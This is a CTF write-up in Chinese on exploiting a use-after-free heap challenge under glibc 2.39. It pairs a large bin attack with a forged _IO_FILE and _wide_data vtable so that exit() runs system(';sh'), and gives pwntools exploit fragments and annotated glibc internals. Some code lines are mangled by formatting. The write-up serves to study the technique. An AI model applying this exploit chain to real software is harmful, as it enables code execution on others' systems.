堆上的IO,largbin高版本的利用

image
浅析Large_bins_attack在高低版本的利用
large bin attack - DAMOXILAI - 博客园

● exit()的IO调用链
└─ __run_exit_handlers
└─ 遍历 atexit 回调链表
└─ _IO_cleanup() [libc初始化时注册的ef_cxa回调]
└─ _IO_flush_all_lockp(1)

  for (fp = _IO_list_all; fp != NULL; fp = fp->_chain)  
  │  
  ├─ 条件1: _IO_flockfile(fp)  
  │         → fp->_lock == NULL ? 跳锁 : 加锁  
  │  
  ├─ 条件2(分支A): _mode <= 0 && _IO_write_ptr > _IO_write_base  
  │   条件2(分支B): _mode > 0  && _wide_data->_IO_write_ptr  
  │                                        > _wide_data->_IO_write_base  
  │   任一成立 → 进入 _IO_OVERFLOW  
  │  
  └─ _IO_OVERFLOW(fp, EOF)  
      │  展开为: (fp->vtable->__overflow)(fp, EOF)  
      │  
      └─ _IO_wfile_overflow(fp, EOF)     [vtable = _IO_wfile_jumps]  
          │  
          ├─ 检查1: _flags & _IO_NO_WRITES (0x8) → 有则return  
          │  
          ├─ 检查2: _flags & _IO_CURRENTLY_PUTTING (0x800)  
          │         → 没设置则进入if  
          │  
          └─ 检查3: _wide_data->_IO_write_base == 0  
              │  → 是 → _IO_wdoallocbuf(fp)  
              │  
              └─ _IO_wdoallocbuf(fp)  
                  │  
                  ├─ 检查: _wide_data->_IO_buf_base → 有则return  
                  │  
                  └─ (fp->_wide_data->_wide_vtable->__doallocate)(fp)  
                      │  展开: system(fp)  
                      │  
                      └─ system(";sh") → /bin/sh  

ida:image
简单阐述一下功能 create:创建函数,但是堆申请大小要至少大于0x408
delete:删除函数,但是存在uaf
show:输出堆块数据区
edit:根据申请堆块大小来写数据区内容
exit:正常free掉后执行exit(0)退出(漏洞所在)
大致思路:
泄露libc基址,直接利用unsortedbin来泄露即可,delete对应堆块然后删掉show即可,再减掉偏移即可
然后进入正式的利用:利用large_bin来构造伪造_IO_file_结构
对应资料参考:浅析Large_bins_attack在高低版本的利用-先知社区
这里的libc版本是2.39
assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
bck = bck->bk; //bck成了main_arena的bk指针指向的堆块
victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针,也就是所在的large_bin的最大的堆块
victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点,没有检测,所以我们可以伪造大堆块的bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算,如果在没有进行修改的情况下,等式可以化简为fwd->fd->bk_nextsize = victim,也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}
也就是,这里如果整理进去的large_bin比large_bin里面最小的还要小,那么就会执行这个,也就是victim,新整理进去的,会调整它的fd_nextsize和bk_nextsize,之后就是最后一步,也就是最重要的会根据已经改的victim_的bk_nextsize的把对应堆块的fd_nextsize改成victim,这里就是主要漏洞点,那么这里控制到了victim堆块的fd_nextsize,也就相当于可以控制指针了,也就是其bk_nextsize所指向的内容的0x10处的指针指向了victim堆块,之后呢伪造victim堆块的结构体即可

第一步先改堆块:
add(2,0x508)
add(0,0x520)
add(5,0x508)
add(1,0x500)
delete(0)
show(0)
p.recvuntil(b’content : ‘)
addr=u64(p.recv(6).ljust(8,b’\x00’))
print(hex(addr))
#gdb.attach(p)
base=addr-0x203b20
IO_list=base+libc.sym[‘_IO_list_all’]
print(hex(base))
system=base+libc.sym[‘system’]
IO_wfile_jumps=base+libc.sym[‘_IO_wfile_jumps’]
head=addr+0x430
#gdb.attach(p)
payload=b’a’0x10
add(3,0x530)
edit(0,payload)
show(0)
p.recvuntil(b’content : aaaaaaaaaaaaaaaa’)
heap=u64(p.recv(6).ljust(8,b’\x00’))
print(hex(heap))
#gdb.attach(p)
payload=p64(head)
* 2+p64(heap)+p64(IO_list-0x20)
edit(0,payload)
delete(1)
add(4,0x540)
#gdb.attach(p)
edit(5, b’a’ * 0x500 + p32(0xfffff7f5) + b’;sh\x00’)
chunk=heap+0xa40
#gdb.attach(p)
这里很明显是选用的堆块0和堆块1来使能够构造出能够伪造IO_file的结构体堆块,这里的结构体堆块明显就是1了,由于1的bk_nextsize会被改成0的bk_nextsize,
所以这里直接先利用uaf来伪造好其内容即可,之后再次之前还需要去拿到堆块的地址,才行,不然后面没法去还原堆块的head,其实也就是main_arena,尝试了下,可以
其实也可以换上对应libc来计算偏移,因为largbin在只有一个堆块的时候,它的bk_nextsize和fd_nextsize是指向自己的头,所以这里泄露出来的heap其实就是堆块0的头地址,这里加上加上0xa40正好是堆块1的头地址,并且heap本身也就是堆块0来伪造时还原原部分的东西
这里堆块1的头地址,也是也是方便后面伪造的时候调转的地址
伪造的_IO_file结构:
edit(5, b’a’ * 0x500 + p32(0xfffff7f5) + b’;sh\x00’)
chunk=heap+0xa40
#gdb.attach(p)//注意size段也占了一个
fake_IO = p64(0) * 2 + p64(1) + p64(2)
fake_IO = fake_IO.ljust(0xa0 - 0x10,b’\x00’) + p64(chunk + 0x100) #wide_data
fake_IO = fake_IO.ljust(0xc0 - 0x10,b’\x00’) + p64(0xffffffffffffffff) #mode
fake_IO = fake_IO.ljust(0xd8 - 0x10,b’\x00’) + p64(IO_wfile_jumps) #vtable
fake_IO = fake_IO.ljust(0x100 - 0x10 + 0xe0,b’\x00’) + p64(chunk + 0x200) #_wide_data->_wide_vtable
fake_IO = fake_IO.ljust(0x200 - 0x10,b’\x00’) + p64(0) * 13 + p64(system) # _wide_data->_wide_vtable->doallocate
edit(1,fake_IO)

梳理劫持流程:
0x00 _flags chunk header[0x00] = prev_size
0x08 _IO_read_ptr chunk header[0x08] = size
0x10 _IO_read_end fake_IO[0x00] = p64(0)
0x18 _IO_read_base fake_IO[0x08] = p64(0)
0x20 _IO_write_base fake_IO[0x10] = p64(1) ←!
0x28 _IO_write_ptr fake_IO[0x18] = p64(2) ←!
0x30 _IO_write_end fake_IO[0x20] = 0 (ljust填充)
0x38 _IO_buf_base 0 (ljust)
0x40 _IO_buf_end 0

0x68 _chain 0 (ljust)

0x88 _lock 0 (ljust)

0xa0 _wide_data fake_IO[0x90] = chunk+0x100

0xc0 _mode fake_IO[0xb0] = 0xFFFFFFFFFFFFFFFF
0xc4~0xd7 padding 0
0xd8 vtable fake_IO[0xc8] = _IO_wfile_jumps
先展示调用链就是最开头的那个,第一个过条件时_IO_flush_all_lockp(),这里注意下伪造的_IO_file_结构里面的锁处要为0,否则无法进行,
然后就i是进入IO_overflow的条件_mode <= 0 && _IO_write_ptr > _IO_write_base,还有另外一个分支,这里用的时这个
可以看到这里的write_ptr确实时大于base的mode的伪造也是小于0的负数,所以这里就绕过进入了_IO_overflow
进入IO_overflow以后就是:

_IO_wfile_overflow(FILE *f, wint_t wch)
{
// —- 检查1: _IO_NO_WRITES 标志 —-
if (f->_flags & _IO_NO_WRITES) // _IO_NO_WRITES = 0x0008
{
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return WEOF; // ← 如果flags有0x8就死在这
}
// 我们的 flags = 0, 不触发 ?

// —- 检查2: 当前不在”正在写”状态 —-
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) // 0x0800
{
// 宽字符写缓冲区还没分配?
if (f->_wide_data->_IO_write_base == 0) // ← 需要为0!
{
// —- 分配宽字符缓冲区 —-
_IO_wdoallocbuf(f); // ← 攻击触发点!
// …
}
}
// 我们的 setup:
// _flags = 0 → 不触发 _IO_NO_WRITES
// _flags & 0x800 = 0 → 走if分支
// _wide_data → chunk+0x100 → _IO_write_base = 0 ?
}
这里的话只要flag的头里面没有0x8即可过检查,这里需要注意wide_data所指向的_IO_write_base和我们伪造的write_base不一定时一样的,因为这个是时根据wide_data的指针内容和对应的偏移来跳转的
wide_data的具体结构:
struct _IO_wide_data // 宽字符数据结构体
{
wchar_t *_IO_read_ptr; // 0x00
wchar_t *_IO_read_end; // 0x08
wchar_t *_IO_read_base; // 0x10
wchar_t *_IO_write_base; // 0x18: ← _IO_wfile_overflow检查这里是否为0
wchar_t *_IO_write_ptr; // 0x20
wchar_t *_IO_write_end; // 0x28
wchar_t *_IO_buf_base; // 0x30
wchar_t *_IO_buf_end; // 0x38
wchar_t *_IO_save_base; // 0x40
wchar_t *_IO_backup_base; // 0x48
wchar_t *_IO_save_end; // 0x50
__mbstate_t _IO_state; // 0x58
__mbstate_t _IO_last_state;// 0x60
struct _IO_codecvt _codecvt;// 0x68
wchar_t _shortbuf[1]; // 0xc8
// …
const struct _IO_jump_t *_wide_vtable; // 0xe0: ← 假跳板目标!
// __doallocate替换为system
};
这里的话也就是wide指针的0x18的地方为0即可,之后就进入到了 _IO_wdoallocbuf(f)
进去之后呢,就是调用了fp->_wide_data->_wide_vtable->__doallocate
这里可以看到wide_vtable对于wide_data的 偏移是0xe0,doallcate在vtable偏移0x68处,这个位置放上system即可
_wide_vtable:
const struct _IO_jump_t _IO_wfile_jumps attribute((section(“__libc_IO_vtables”))) =
{
0, // 0x00 __dummy
0, // 0x08 __dummy2
_IO_file_finish, // 0x10 __finish
_IO_wfile_overflow, // 0x18 __overflow ← _IO_OVERFLOW调这里
_IO_wfile_underflow, // 0x20 __underflow
_IO_wfile_underflow, // 0x28 __uflow
_IO_wdefault_pbackfail, // 0x30 __pbackfail
_IO_wdefault_xsputn, // 0x38 __xsputn
_IO_wdefault_xsgetn, // 0x40 __xsgetn
_IO_wfile_seekoff, // 0x48 __seekoff
_IO_default_seekpos, // 0x50 __seekpos
_IO_default_setbuf, // 0x58 __setbuf
_IO_wfile_sync, // 0x60 __sync
_IO_wfile_doallocate, // 0x68 __doallocate ← 正常路径
_IO_file_read, // 0x70 __read
_IO_file_write, // 0x78 __write
_IO_file_seek, // 0x80 __seek
_IO_file_close, // 0x88 __close
_IO_file_stat, // 0x90 __stat
_IO_wfile_showmanyc, // 0x98 __showmanyc
_IO_wfile_imbue, // 0xa0 __imbue
};
这里可以看到doallcate在wide_vtable里面的偏移是0x68,就是执行对应位置的system了,system(sh)